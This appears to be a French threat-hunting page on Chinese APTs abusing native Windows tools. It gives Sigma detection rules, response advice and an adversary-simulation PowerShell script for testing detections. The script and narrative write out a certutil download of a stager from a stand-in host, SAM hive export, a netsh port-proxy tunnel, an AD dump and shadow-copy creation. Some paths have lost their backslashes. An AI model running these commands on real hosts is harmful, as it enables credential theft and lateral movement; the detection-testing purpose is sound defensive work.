Chasse aux APT chinois exploitant les outils natifs de Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’article explore comment les groupes de menaces persistantes avancées chinois abusent des utilitaires intégrés de Windows, souvent appelés LOLBAS, pour effectuer des reconnaissances, voler des identifiants et se déplacer latéralement dans les environnements tout en se fondant dans l’activité administrative de routine.
Enquête
Il met en évidence l’utilisation spécifique en ligne de commande d’outils natifs comme nltest, certutil, netsh, reg.exe, vssadmin, et d’autres, et pointe vers des règles Sigma qui peuvent aider à détecter ces techniques au sein des plateformes SIEM.
Atténuation
Les défenseurs sont encouragés à surveiller l’exécution suspecte des binaires Windows natifs, à renforcer les contrôles d’accès avec le moindre privilège, à auditer les modifications du registre, et à déployer une logique de détection basée sur les modèles Sigma référencés.
Réponse
Lorsque des activités LOLBAS suspectes sont identifiées, les équipes de sécurité doivent déclencher une alerte, isoler l’hôte affecté, collecter les journaux pertinents, vérifier si un dump d’identifiants ou un mouvement latéral a eu lieu, et effectuer une analyse forensique sur tout artefact résultant.
Flux d’attaque
Nous mettons encore à jour cette partie. Inscrivez-vous pour être averti
M’avertirDétections
Énumération possible du système (via cmdline)
Voir
Énumération / Manipulation possible de compte ou de groupe (via cmdline)
Voir
Découverte suspecte de trusts de domaines (via cmdline)
Voir
LOLBAS wmic (via cmdline)
Voir
LOLBAS DNSCmd (via cmdline)
Voir
Utilisation de Certutil pour le codage des données et les opérations sur les certificats (via cmdline)
Voir
Activité VSSADMIN suspecte (via cmdline)
Voir
Dumping possible SAM/SYSTEM/SECURITY (via cmdline)
Voir
Activité suspecte de Ntdsutil (via cmdline)
Voir
Copie suspecte de SAM/SECURITY/NTDS.dit via copie de l’ombre (via cmdline)
Voir
Utilisation suspecte des utilitaires Windows pour la reconnaissance et le vol d’identifiants [Création de processus Windows]
Voir
Exécution de simulation
Condition requise : Le contrôle préalable de télémétrie et de base doit être passé.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif et commandes d’attaque :
Un attaquant ayant pris pied initialement sur un poste de travail Windows joint au domaine cherche à cartographier le domaine, à énumérer les groupes privilégiés et à collecter des matériaux d’identifiants en utilisant uniquement des binaires natifs pour éviter de déclencher des signatures AV traditionnelles. Les étapes sont :
- Énumérer les contrôleurs de domaine :
nltest /dclist:domain.local– révèle tous les DCs dans le domaine cible. - Rassembler les informations système :
systeminfo– recueille la version de l’OS, les correctifs et les détails matériels. - Lister les processus en cours :
tasklist– fournit un aperçu des services privilégiés. - Requête des journaux d’événements Windows pour les événements de connexion :
Get-EventLog -LogName Security -InstanceId 4624(PowerShell) – extrait les événements de connexion réussis. - Télécharger une charge utile mise en scène :
certutil -urlcache -split -f https://example.com/stager.exe C:WindowsTempstager.exe– utilise certutil pour contourner le filtrage web. - Énumérer les administrateurs locaux :
net localgroup administrators– identifie les comptes privilégiés. - Exporter la ruche SAM du registre :
reg.exe save hklmsam C:sam.save– tente d’extraire les hashs de mots de passe. - Créer un proxy de port pour un mouvement latéral :
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.0.0.5 connectport=3389– prépare un tunnel. - Énumérer les enregistrements DNS :
dnscmd . /enumrecords /zone– découvre les zones DNS internes. - Exporter les objets AD via LDIFDE :
ldifde.exe -f C:WindowsTempad_dump.txt -p subtree– extrait les données du répertoire. - Créer une copie de l’ombre du volume :
vssadmin create shadow /for=C:– permet l’accès au niveau fichier aux fichiers verrouillés.
Chaque commande correspond exactement à l’une des chaînes “CommandLine|contains” dans la règle Sigma, garantissant que la règle se déclenche sur les événements de création de processus résultants.
- Énumérer les contrôleurs de domaine :
-
Script de test de régression : (PowerShell – autonome, nécessite des droits d’administrateur)
# TC-20260518-A7B9K – Simuler l'utilisation par l'adversaire des utilitaires natifs de Windows # REMARQUE : Exécuter sur un hôte Windows joint au domaine avec des privilèges d'administrateur. # 1. Énumération des contrôleurs de domaine nltest /dclist:domain.local # 2. Informations sur le système systeminfo # 3. Liste des processus tasklist # 4. Extraction des journaux de sécurité (PowerShell) Get-EventLog -LogName security -InstanceId 4624 # 5. Téléchargement de la charge utile mise en scène via certutil certutil -urlcache -split -f https://example.com/stager.exe C:WindowsTempstager.exe # 6. Énumérer les administrateurs locaux net localgroup administrators # 7. Exporter la ruche SAM reg.exe save hklmsam C:sam.save # 8. Configuration du proxy de port netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.0.0.5 connectport=3389 # 9. Énumération de la zone DNS dnscmd . /enumrecords /zone # 10. Exporter les données AD via LDIFDE ldifde.exe -f C:WindowsTempad_dump.txt -p subtree # 11. Créer une copie de l'ombre du volume vssadmin create shadow /for=C: -
Commandes de nettoyage :
# Supprimer les fichiers créés pendant la simulation Remove-Item -Path C:WindowsTempstager.exe -ErrorAction SilentlyContinue Remove-Item -Path C:sam.save -ErrorAction SilentlyContinue Remove-Item -Path C:WindowsTempad_dump.txt -ErrorAction SilentlyContinue # Supprimer la règle du portproxy netsh interface portproxy delete v4tov4 listenport=4444 # Supprimer la copie de l'ombre (optionnel – nécessite l'ID de la copie de l'ombre) # vssadmin delete shadows /for=C: /all /quiet